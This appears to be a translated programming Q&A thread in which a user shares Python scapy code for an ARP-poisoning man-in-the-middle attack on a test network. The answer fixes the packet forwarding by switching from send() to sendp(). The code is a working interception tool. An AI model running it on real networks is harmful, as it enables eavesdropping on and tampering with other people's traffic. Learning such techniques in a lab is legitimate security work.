与scapy中间攻击的人

pro*_*ngs 11 python exploit network-programming scapy man-in-the-middle

我正试图scapy在测试网络上做一个中间人攻击的人.我的设置是这样的: 在此输入图像描述

现在你明白了,这是代码:

from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if __name__=="__main__":
  mitm=MITM()
Run Code Online (Sandbox Code Playgroud)

这段代码正在运行VM2.

Arp中毒工作正常,我检查两台机器的arp缓存,行为是我所期望的.但在里面routep,我修改了src和dst mac地址,并尝试将收到的数据包发送到适当的主机,scapy发出警告:

WARNING: more Mac address to reach destination not found. Using broadcast
Run Code Online (Sandbox Code Playgroud)

我在wireshark上面看到VM2,修改过的数据包没有离开机器.那为什么会这样?我错过了什么吗?

weg*_*gry 1

如果您使用 scapy 的send(),它可以在第三层上运行。来自 scapy 的文档:

send() 函数将在第 3 层发送数据包。也就是说,它将为您处理路由和第 2 层。sendp() 函数将在第 2 层工作。

如果您要使用sendp(),它不会使用目标 Mac 地址的默认值,并且您的警告将会消失。